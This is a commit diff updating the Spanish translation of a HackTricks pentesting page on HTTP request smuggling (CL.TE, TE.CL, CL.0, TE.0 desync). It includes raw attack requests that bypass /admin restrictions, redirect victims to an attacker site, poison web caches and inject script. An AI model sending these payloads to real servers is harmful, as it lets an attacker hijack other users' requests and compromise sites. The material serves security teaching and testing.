mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['pentesting-web/http-request-smuggling/README.md'] to es
This commit is contained in:
Translator
parent
e6238abaf8
commit
aa1ece35a6
1 changed files with 55 additions and 28 deletions
|
|
@ -1,8 +1,8 @@
|
|||
# HTTP Request Smuggling / HTTP Desync Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -17,7 +17,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Qué es
|
||||
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el servidor **back-end** permite a un **atacante** **enviar** una **solicitud** HTTP que será **interpretada** como una **solicitud única** por los proxies de **front-end** (balanceador de carga/reverse-proxy) y **como 2 solicitudes** por el servidor **back-end**.\
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el servidor **back-end** permite a un **atacante** **enviar** una **solicitud** HTTP que será **interpretada** como una **solicitud única** por los proxies de **front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el servidor **back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor back-end después de la suya**.
|
||||
|
||||
### Teoría
|
||||
|
|
@ -37,15 +37,15 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid
|
|||
|
||||
### Realidad
|
||||
|
||||
El **Front-End** (un balanceador de carga / Reverse Proxy) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al reverse proxy que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
||||
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
||||
|
||||
### Particularidades
|
||||
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
||||
|
||||
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
|
||||
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling.
|
||||
|
||||
## Ejemplos Básicos
|
||||
|
|
@ -60,6 +60,10 @@ Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas
|
|||
|
||||
|
||||
|
||||
{% hint style="info" %}
|
||||
A la tabla anterior deberías agregar la técnica TE.0, como la técnica CL.0 pero usando Transfer Encoding.
|
||||
{% endhint %}
|
||||
|
||||
#### Vulnerabilidad CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)
|
||||
|
||||
* **Front-End (CL):** Procesa la solicitud basada en el encabezado `Content-Length`.
|
||||
|
|
@ -117,7 +121,7 @@ x=
|
|||
* **Escenario de Ataque:**
|
||||
* El atacante envía una solicitud con encabezados `Transfer-Encoding` ofuscados.
|
||||
* Dependiendo de qué servidor (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
|
||||
* La parte no procesada de la solicitud, vista por uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling.
|
||||
* La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling.
|
||||
* **Ejemplo:**
|
||||
|
||||
```
|
||||
|
|
@ -137,10 +141,10 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **Escenario CL.CL (Content-Length usado por ambos Front-End y Back-End):**
|
||||
#### **Escenario CL.CL (Content-Length usado por ambos Front-End y Back-End)**
|
||||
|
||||
* Ambos servidores procesan la solicitud basándose únicamente en el encabezado `Content-Length`.
|
||||
* Este escenario típicamente no conduce al smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.
|
||||
* Este escenario típicamente no conduce a smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.
|
||||
* **Ejemplo:**
|
||||
|
||||
```
|
||||
|
|
@ -152,9 +156,9 @@ Connection: keep-alive
|
|||
Solicitud Normal
|
||||
```
|
||||
|
||||
#### **Escenario CL != 0:**
|
||||
#### **Escenario CL.0**
|
||||
|
||||
* Se refiere a escenarios donde el encabezado `Content-Length` está presente y tiene un valor diferente de cero, indicando que el cuerpo de la solicitud tiene contenido.
|
||||
* Se refiere a escenarios donde el encabezado `Content-Length` está presente y tiene un valor diferente de cero, indicando que el cuerpo de la solicitud tiene contenido. El back-end ignora el encabezado `Content-Length` (que se trata como 0), pero el front-end lo analiza.
|
||||
* Es crucial para entender y elaborar ataques de smuggling, ya que influye en cómo los servidores determinan el final de una solicitud.
|
||||
* **Ejemplo:**
|
||||
|
||||
|
|
@ -167,11 +171,33 @@ Connection: keep-alive
|
|||
Cuerpo No Vacío
|
||||
```
|
||||
|
||||
#### Escenario TE.0
|
||||
|
||||
* Similar al anterior pero usando TE.
|
||||
* Técnica [reportada aquí](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* **Ejemplo**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
|
||||
50
|
||||
GET <http://our-collaborator-server/> HTTP/1.1
|
||||
x: X
|
||||
0
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### Rompiendo el servidor web
|
||||
|
||||
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado como la **siguiente solicitud HTTP**.
|
||||
Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado la **siguiente solicitud HTTP**.
|
||||
|
||||
Por ejemplo, como se explicó en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug fue posible enviar algunos **caracteres Unicode** y esto hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
|
||||
Por ejemplo, como se explica en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos caracteres **Unicode** y esto haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
|
||||
|
||||
#### Forzando a través de encabezados hop-by-hop
|
||||
|
||||
|
|
@ -252,10 +278,10 @@ Después de confirmar la efectividad de las técnicas de temporización, es cruc
|
|||
|
||||
Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:
|
||||
|
||||
* **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
* **Conexiones de Red Distintas:** Las solicitudes "atacantes" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
* **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Hacer coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
||||
* **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "de ataque", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
|
||||
* **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
* **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "atacante", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "atacante". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
|
||||
* **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
* **Impacto No Intencionado en el Usuario:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
|
||||
|
||||
## Abusando de HTTP Request Smuggling
|
||||
|
|
@ -301,7 +327,7 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
|
||||
### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
|
|
@ -401,7 +427,7 @@ Al manipular el `User-Agent` a través del smuggling, el payload elude las restr
|
|||
#### HTTP/0.9
|
||||
|
||||
{% hint style="danger" %}
|
||||
En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. Si el servidor soporta **HTTP/0.9, ¡podría ser posible eludir esto**!
|
||||
En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. ¡Si el servidor soporta **HTTP/0.9 podría ser posible eludir esto**!
|
||||
{% endhint %}
|
||||
|
||||
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
|
||||
|
|
@ -410,7 +436,7 @@ En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con
|
|||
|
||||
### Explotando redirecciones en el sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:
|
||||
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
|
@ -434,7 +460,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Esta solicitud contrabandeada podría hacer que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
|
||||
Esta solicitud encubierta podría hacer que la siguiente solicitud de usuario procesada sea redirigida a un sitio web controlado por un atacante:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
|
@ -446,7 +472,7 @@ Resultados en:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
En este escenario, se secuestra la solicitud de un usuario para un archivo JavaScript. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en respuesta.
|
||||
En este escenario, se secuestra la solicitud de un usuario para un archivo JavaScript. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.
|
||||
|
||||
### Explotando la contaminación de caché web a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
|
|
@ -520,14 +546,14 @@ XSS: <script>alert("TRACE")</script>
|
|||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un ejemplo de cómo abusar de este comportamiento sería **contrabandear primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y contrabandear **inmediatamente después de la HEAD una solicitud TRACE**, que estará **reflejando los datos enviados**.\
|
||||
Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta. \
|
||||
Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
|
||||
Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**.
|
||||
|
||||
### Abusando de TRACE a través de la división de respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, contrabandear una solicitud HEAD y una solicitud TRACE hace posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
|
||||
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, contrabandear una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
|
||||
|
||||
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
|
||||
Por lo tanto, la nueva idea sería que, sabiendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (que podría ser utilizada para realizar un envenenamiento de caché).
|
||||
|
||||
Ejemplo:
|
||||
```
|
||||
|
|
@ -591,7 +617,7 @@ Content-Length: 50
|
|||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Scripts de Turbo intruder
|
||||
## Scripts de Turbo Intruder
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
|
@ -697,10 +723,11 @@ table.add(req)
|
|||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -708,7 +735,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue